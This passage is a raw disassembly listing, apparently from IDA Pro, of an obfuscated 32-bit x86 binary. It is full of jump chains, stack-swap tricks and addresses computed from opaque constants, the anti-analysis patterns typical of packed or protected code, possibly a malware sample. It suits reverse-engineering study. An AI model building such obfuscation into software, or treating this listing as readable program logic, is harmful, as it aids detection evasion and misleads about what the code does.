; START	OF FUNCTION CHUNK FOR sub_424946


loc_4281EA:				; CODE XREF: sub_424946:loc_429018j
		pop	ebx
		add	eax, edx
		push	esi
		push	2E2B81F4h
		jmp	loc_42898A
; END OF FUNCTION CHUNK	FOR sub_424946
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426749


loc_4281F8:				; CODE XREF: sub_426749+2717j
		call	sub_427AEB
		lea	eax, [ebp-14h]
		push	eax
		call	sub_427A36
		mov	ds:dword_426E6C, eax
		mov	ds:byte_426E54,	1
		lea	eax, [ebp-14h]
		jmp	loc_42373A
; END OF FUNCTION CHUNK	FOR sub_426749
; ---------------------------------------------------------------------------


loc_42821A:				; DATA XREF: sub_4249BF+3o
		xchg	ebx, [esp]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	esi, [esp]
		mov	ebp, esi
		jmp	loc_425B57
; ---------------------------------------------------------------------------


loc_42822C:				; CODE XREF: hjohnhn9:004230B7j
		jg	loc_426BEA
		test	ebp, edx
		jmp	loc_425EB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42823A:				; CODE XREF: hjohnhn9:004285BCj
		jmp	loc_4268F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_42823F:				; CODE XREF: sub_427852+AE0j
		jmp	loc_424064
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_428244:				; CODE XREF: sub_425029+1Dj
		jmp	loc_428999
; END OF FUNCTION CHUNK	FOR sub_425029

; =============== S U B	R O U T	I N E =======================================



sub_428249	proc near		; CODE XREF: sub_4248B1+15p
					; hjohnhn9:00426B7Bj

; FUNCTION CHUNK AT 00427632 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		jmp	loc_427632
sub_428249	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428192


loc_428253:				; CODE XREF: sub_428192j
		push	offset sub_42870E
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_428192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_42825D:				; CODE XREF: sub_427564:loc_42901Dj
		add	ecx, ebp
		add	ecx, 268E381Eh
		mov	[ecx], eax
		xchg	esi, [esp+0]
		mov	ecx, esi
		call	sub_425EEA
; END OF FUNCTION CHUNK	FOR sub_427564

; =============== S U B	R O U T	I N E =======================================



sub_428271	proc near		; CODE XREF: hjohnhn9:00426AF1j
					; sub_427852+16C9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042350B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424073 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426B80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427EC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427F5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280F6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004281AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004286E6 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_426B80
sub_428271	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_42827F:				; CODE XREF: sub_42345B+50E2j
		xchg	edi, [esp+8+var_8]
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_428287:				; CODE XREF: sub_423F65:loc_427550j
		add	eax, ebp
		add	eax, 50FF1F19h
		mov	eax, [eax]
		call	sub_424C5F
		retn
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------

locret_428297:				; CODE XREF: hjohnhn9:0042408Ej
		retn
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_4241F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B97


loc_42829E:				; CODE XREF: sub_424B97:loc_424EBEj
		pop	edx
		push	edx
		push	0FF748C5Ah
		pop	edx
		and	edx, 7188AD6Ch
		sub	edx, 9D9846B5h
		js	loc_427420
		adc	ebx, 5158AB9h
		jmp	loc_42741C
; END OF FUNCTION CHUNK	FOR sub_424B97
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_4282C4:				; CODE XREF: sub_424819+2AD9j
		jmp	loc_424013
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------


loc_4282C9:				; CODE XREF: hjohnhn9:0042720Ej
		jmp	loc_4269D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278B9


loc_4282CE:				; CODE XREF: sub_4278B9-4499j
		jmp	loc_4267FC
; END OF FUNCTION CHUNK	FOR sub_4278B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4282D3:				; CODE XREF: sub_42304F+19j
		jmp	loc_42781A
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423425


loc_4282D8:				; CODE XREF: sub_423425:loc_4278D7j
		push	ecx
		push	offset loc_423A05
		jmp	nullsub_50
; END OF FUNCTION CHUNK	FOR sub_423425
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_4282E4:				; CODE XREF: sub_4260BD:loc_426E4Dj
		jz	loc_42794A
		jmp	loc_427714
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_4282EF:				; CODE XREF: sub_424A78:loc_4248CBj
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_4242D9
; END OF FUNCTION CHUNK	FOR sub_424A78

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282F8	proc near		; CODE XREF: sub_424A78+2175p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004247D9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425BC8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426189 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A5D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_4247D9
sub_4282F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_428309	proc near		; CODE XREF: hjohnhn9:00424A02j
					; sub_42897B+Ap

; FUNCTION CHUNK AT 0042491D SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		push	offset loc_426561
		jmp	loc_42491D
sub_428309	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_428319:				; CODE XREF: sub_427852:loc_425F3Aj
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_427F90


loc_428326:				; CODE XREF: sub_424161+423j
		cmp	eax, [ebp-8]
		jnz	loc_428EF2
		mov	eax, [ebp-14h]
		jmp	loc_42823F
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_428337:				; CODE XREF: sub_4260BD-2014j
		mov	esi, 7CAB0713h


loc_42833C:				; CODE XREF: sub_4260BD:loc_42409Bj
		xor	ebx, 81F09744h
		add	ebx, ebp
		add	ebx, 0B28572C8h
		mov	[ebx], eax
		jmp	loc_42497B
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------


loc_428351:				; CODE XREF: hjohnhn9:00423C34j
		jnb	loc_42465A

; =============== S U B	R O U T	I N E =======================================



sub_428357	proc near		; CODE XREF: sub_42865B+7p

; FUNCTION CHUNK AT 004232C8 SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		pop	eax
		shr	eax, 0Bh
		jmp	loc_4232C8
sub_428357	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_428363:				; CODE XREF: hjohnhn9:loc_428EC5j
		call	near ptr dword_4236FC+32h


loc_428368:				; CODE XREF: hjohnhn9:00427C87j
		jmp	loc_429094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42486B


loc_42836D:				; CODE XREF: sub_42486B+7j
		jmp	loc_428F71
; END OF FUNCTION CHUNK	FOR sub_42486B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_428372:				; CODE XREF: sub_42325E:loc_423E01j
		mov	esp, ebp
		pop	ebp
		push	7178371Ch
		pop	eax
		jmp	loc_423E36
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
dword_428380	dd 0			; DATA XREF: sub_4264FA+Dw
dword_428384	dd 0			; DATA XREF: sub_42851A-1D4Dr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_428388:				; CODE XREF: sub_426354-48j
		jmp	loc_425C05
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D9D


loc_42838D:				; CODE XREF: sub_427D9D:loc_424EECj
		jmp	loc_4264BC
; END OF FUNCTION CHUNK	FOR sub_427D9D
; ---------------------------------------------------------------------------
		dw 89D4h
dword_428394	dd 0			; DATA XREF: hjohnhn9:00425B58r
					; sub_425D27+Aw
dword_428398	dd 0			; DATA XREF: sub_423B05+7r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_42839C:				; CODE XREF: sub_424631+3790j
		jmp	nullsub_53
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_4283A1:				; CODE XREF: sub_427AC0:loc_425C3Bj
		xor	eax, 0C62E2D94h
		add	eax, ebp
		add	eax, 19D39E5Dh
		mov	eax, [eax]
		push	esi
		mov	esi, eax
		call	sub_42387A
; END OF FUNCTION CHUNK	FOR sub_427AC0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4251EB


loc_4283BA:				; CODE XREF: sub_4251EB+15j
		jmp	loc_425FDC
; END OF FUNCTION CHUNK	FOR sub_4251EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4283BF:				; CODE XREF: sub_426354-15D3j
		jmp	loc_426E07
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424181


loc_4283C4:				; CODE XREF: sub_424181+7j
		jmp	loc_425ED0
; END OF FUNCTION CHUNK	FOR sub_424181

; =============== S U B	R O U T	I N E =======================================



sub_4283C9	proc near		; CODE XREF: hjohnhn9:00425FF2j
					; hjohnhn9:loc_4266BEj
					; DATA XREF: ...

arg_0		= dword	ptr  4

		add	eax, 0E260B5A1h
		popf
		xchg	eax, [esp-4+arg_0]
		jmp	sub_42897B
sub_4283C9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_4283D8:				; CODE XREF: sub_426708-1F54j
		xchg	eax, [esp+4+var_4]
		jmp	sub_424877
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CE6


loc_4283E0:				; CODE XREF: sub_426CE6:loc_423EC1j
		mov	eax, [eax]
		push	offset loc_426BAD
		jmp	loc_42376C
; END OF FUNCTION CHUNK	FOR sub_426CE6
; ---------------------------------------------------------------------------
		adc	ebx, 6F014DE4h
		jmp	sub_426D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_4283F7:				; CODE XREF: sub_423CDB+3066j
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_4244EE
		inc	eax
		jmp	loc_424CA5
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
		adc	eax, ecx
		jmp	sub_42486B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428414:				; CODE XREF: hjohnhn9:004242D1j
		jz	loc_426EAD
		jmp	loc_4261F6

; =============== S U B	R O U T	I N E =======================================



sub_42841F	proc near		; CODE XREF: hjohnhn9:004261B7j
					; sub_424A28:loc_42872Fp

; FUNCTION CHUNK AT 00423810 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423D11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427B02 SIZE 0000000C BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, ds:dword_4233C4
		or	eax, eax
		jnz	loc_4260A9
		jmp	loc_423D11
sub_42841F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428436	proc near		; CODE XREF: sub_4287BF-1234p
					; sub_4287BF:loc_429061p
		push	offset sub_424564
		jmp	loc_42687B
sub_428436	endp

; ---------------------------------------------------------------------------


loc_428440:				; CODE XREF: hjohnhn9:00426C7Aj
		jno	loc_42344E
		popf

; =============== S U B	R O U T	I N E =======================================



sub_428447	proc near		; CODE XREF: sub_4262C5+1363p

; FUNCTION CHUNK AT 00423899 SIZE 00000002 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_424E63
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		jmp	loc_423899
sub_428447	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426523


loc_42845E:				; CODE XREF: sub_426523:loc_42628Fj
		idiv	ecx
		mov	[ebp-8], eax
		push	offset loc_426116
		jmp	loc_427CEC
; END OF FUNCTION CHUNK	FOR sub_426523
; ---------------------------------------------------------------------------


loc_42846D:				; CODE XREF: hjohnhn9:00423A26j
		mov	ds:dword_423954, eax
		jmp	loc_42787C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428477	proc near		; CODE XREF: sub_423425j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042395D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004239D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424ACA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424CC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00424DE2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00424E8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004252C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004267E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004279E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004287A5 SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_4267E0
sub_428477	endp

; ---------------------------------------------------------------------------
		push	esi
		push	87B37D53h
		pop	esi
		or	esi, 9B81DE4Ch
		rol	esi, 1Fh
		push	ecx
		jmp	loc_423801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F90


loc_428496:				; CODE XREF: sub_427F90:loc_42440Fj
		shl	[ebp+var_8], 8
		jmp	loc_427135
; ---------------------------------------------------------------------------


loc_42849F:				; CODE XREF: sub_427F90:loc_428F71j
		mov	eax, [ebp+var_C]
		call	sub_425029
; END OF FUNCTION CHUNK	FOR sub_427F90
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_4284A7:				; CODE XREF: sub_424A28+30ADj
		jmp	loc_428EAA
; END OF FUNCTION CHUNK	FOR sub_424A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427324


loc_4284AC:				; CODE XREF: sub_427324+10j
		or	edx, 27175886h
		add	edx, 827297C1h
		call	sub_4279ED
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		ror	eax, 17h
		jmp	loc_4279D7
; END OF FUNCTION CHUNK	FOR sub_427324

; =============== S U B	R O U T	I N E =======================================



sub_4284CB	proc near		; CODE XREF: sub_42897Aj
					; DATA XREF: sub_428965+Bo

; FUNCTION CHUNK AT 00423C85 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425B97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426559 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427FBA SIZE 00000014 BYTES

		cdq
		add	eax, [esp+0]
		call	loc_4244FA


loc_4284D4:				; CODE XREF: hjohnhn9:00428074j
		mov	ds:dword_426E3C, eax
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_427AEB
		call	sub_426749
		jmp	loc_425B97
sub_4284CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4284ED:				; CODE XREF: sub_424161+429j
		popf


loc_4284EE:				; CODE XREF: sub_424161:loc_42457Ej
		and	eax, ds:4000F9h
		xor	eax, 0E7A8609Ah
		add	eax, ebp
		add	eax, 1A458262h
		mov	eax, [eax]
		popf
		jmp	loc_423B50
; END OF FUNCTION CHUNK	FOR sub_424161
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_42850B:				; CODE XREF: sub_427486-2729j
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_428510:				; CODE XREF: sub_426A78-B4Aj
		rol	eax, 9
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------


loc_428515:				; CODE XREF: hjohnhn9:004280CDj
		jmp	loc_42806F

; =============== S U B	R O U T	I N E =======================================



sub_42851A	proc near		; CODE XREF: sub_4279C0:loc_42446Cp

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423692 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424603 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042471C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00424A07 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424D63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E76 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424EF1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004267CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004269E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427EFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428951 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00429107 SIZE 00000005 BYTES

		push	eax
		mov	eax, ebp
		jmp	loc_424D63
sub_42851A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_428522:				; CODE XREF: sub_42345B+F6Dj
		mov	edi, eax
		pop	eax
		xor	edi, 7AC294Ch
		and	edi, 0F324205Ah
		sub	edi, 1CCD31ABh
		add	edi, 5D0B7FC7h
		jmp	loc_42827F
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_428542:				; CODE XREF: sub_42355C+26D2j
		ror	eax, 11h
		mov	ds:dword_428B04, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42355C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_42854C:				; CODE XREF: sub_426354+2868j
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_428551:				; CODE XREF: sub_426671-64Fj
					; sub_42355C+2B31j
		rol	eax, 11h
		push	eax
		call	sub_4244F5
		retn
; END OF FUNCTION CHUNK	FOR sub_426671

; =============== S U B	R O U T	I N E =======================================



sub_42855B	proc near		; CODE XREF: sub_4265A0:loc_4270C5j
					; sub_4263E3+1B33p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423320 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042623D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427DCD SIZE 00000005 BYTES

		jns	loc_42623D
		jmp	loc_427DCD
sub_42855B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428567:				; CODE XREF: sub_424631+2A80j
		jmp	loc_423E80
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427B7A


loc_42856C:				; CODE XREF: sub_427B7A-101Cj
		jmp	loc_4235C0
; END OF FUNCTION CHUNK	FOR sub_427B7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_428571:				; CODE XREF: sub_4278DC-4147j
		jmp	loc_42514C
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_428576:				; CODE XREF: sub_4265CD-2FCEj
		add	eax, 0F1EDD6A1h
; END OF FUNCTION CHUNK	FOR sub_4265CD
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42857C:				; CODE XREF: sub_42466E:loc_42402Cj
		or	eax, 1C45DFABh
		test	eax, 40h
		jmp	loc_4289F8
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_42858D:				; CODE XREF: sub_427C9B+13C1j
		jle	loc_4271AE
		test	eax, esi
		jmp	loc_426176
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================



sub_42859A	proc near		; CODE XREF: hjohnhn9:0042360Bj
					; sub_428C4E+Bp

; FUNCTION CHUNK AT 00425FA3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427886 SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jnz	loc_425FA3
		call	sub_424877
		jmp	loc_427886
sub_42859A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_117
		push	edx
		push	5D51C839h
		pop	edx
		jmp	loc_42823A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4285C1:				; CODE XREF: sub_424161+4j
		test	byte ptr [ebp-8], 40h
		jz	loc_423C90
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_423CCD
		jmp	loc_424F86
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------

locret_4285D9:				; CODE XREF: hjohnhn9:loc_428ECBj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4285DA:				; CODE XREF: sub_426354+13j
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_426354

; =============== S U B	R O U T	I N E =======================================



sub_4285DF	proc near		; CODE XREF: sub_423A75+3755j

; FUNCTION CHUNK AT 00426A2B SIZE 00000005 BYTES

		push	ebx
		pushf
		push	offset loc_4242AF
		jmp	loc_426A2B
sub_4285DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4285EB:				; CODE XREF: sub_423B05:loc_4275E9j
		rol	eax, 12h
		xor	eax, 0A572612Ah
		add	eax, ebp
		add	eax, 0D2A47652h
		mov	eax, [eax]
		push	offset loc_424768
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
		push	0E22750C9h
		pop	eax
		and	eax, 0E8C440A5h
		add	eax, 203E124Fh
		mov	eax, [eax]
		call	sub_426BFD


loc_428621:				; CODE XREF: hjohnhn9:00426111j
		jmp	loc_423C72
; ---------------------------------------------------------------------------


loc_428626:				; CODE XREF: hjohnhn9:00424B17j
					; hjohnhn9:00426880j
		jmp	loc_427CE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_42862B:				; CODE XREF: sub_423B05-8DBj
		jz	loc_423C67
		jmp	loc_425E64
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424928


loc_428636:				; CODE XREF: sub_424928+12j
		xor	esi, 0EC755FA9h
		rol	esi, 0Ch
		jb	loc_423984
		jp	loc_4274DF
		push	0ED12CE14h
		jmp	loc_423984
; END OF FUNCTION CHUNK	FOR sub_424928
; ---------------------------------------------------------------------------


loc_428655:				; CODE XREF: hjohnhn9:00426A73j
		sub	ebp, 1D877403h

; =============== S U B	R O U T	I N E =======================================



sub_42865B	proc near		; CODE XREF: sub_425029-153Dp
		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-8]
		call	sub_428357


loc_428667:				; CODE XREF: sub_424631+2A6Bj
		jmp	loc_4249A3
sub_42865B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_42866C:				; CODE XREF: sub_4287BF-5623j
					; sub_4287BF:loc_428888j
		add	eax, 5
		cmp	eax, ds:dword_4252D0


loc_428675:				; CODE XREF: hjohnhn9:00428FC1j
		jz	loc_4268DB


loc_42867B:				; CODE XREF: sub_4287BF:loc_42318Dj
					; sub_4287BF+8B5j
		jno	loc_427246
		mov	eax, [ebp-4]
		call	sub_426924
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_427234
; END OF FUNCTION CHUNK	FOR sub_4287BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424928


loc_428696:				; CODE XREF: sub_424928-F95j
		jmp	sub_4244F5
; END OF FUNCTION CHUNK	FOR sub_424928
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_42869B:				; CODE XREF: sub_423CDB:loc_425EFBj
		sub	edx, 0D48679D9h
		and	edx, 0F1D0428Eh


loc_4286A7:				; CODE XREF: hjohnhn9:loc_4269B7j
		add	edx, 1B9E0E67h
		call	sub_4279ED
		push	ecx
		push	offset sub_42325E
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_4286BD:				; CODE XREF: sub_426CC8:loc_42633Fj
		push	49B5FB9h
		pop	ecx
		sub	ecx, 9CD41AECh
		xor	ecx, 32E7C044h
		add	ecx, 0AB22037Dh
		xchg	ecx, [esp+4+var_4]
		jmp	loc_4260B3
; END OF FUNCTION CHUNK	FOR sub_426CC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A55


loc_4286DD:				; CODE XREF: sub_424A55+13j
		jz	loc_424C81
		inc	dword ptr [ebp-8]
; END OF FUNCTION CHUNK	FOR sub_424A55
; START	OF FUNCTION CHUNK FOR sub_428271


loc_4286E6:				; CODE XREF: sub_424A55+23Dj
					; sub_428271:loc_426B92j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_4286F1:				; CODE XREF: sub_425BD2:loc_424266j
		or	edx, 293B973Eh
		xor	edx, 5CA6FE90h
		add	edx, ebp
		add	edx, 0DC26FECDh
		mov	edx, [edx]
		mov	[edx], al
		jmp	loc_4265B8
; END OF FUNCTION CHUNK	FOR sub_425BD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42870E	proc near		; DATA XREF: sub_428192:loc_428253o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		call	sub_428C4E
sub_42870E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428718	proc near		; CODE XREF: sub_424E4F-966p
					; hjohnhn9:00427F2Ej
		xchg	ebx, [esp+0]
		pop	ebx
		pop	ebp
		retn
sub_428718	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42645D


loc_42871E:				; CODE XREF: sub_42645D+Dj
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_42645D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424335


loc_428723:				; CODE XREF: sub_424335+Bj
		jmp	loc_425147
; END OF FUNCTION CHUNK	FOR sub_424335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E4F


loc_428728:				; CODE XREF: sub_424E4F-978j
					; sub_42392D+1510j
		xor	eax, eax


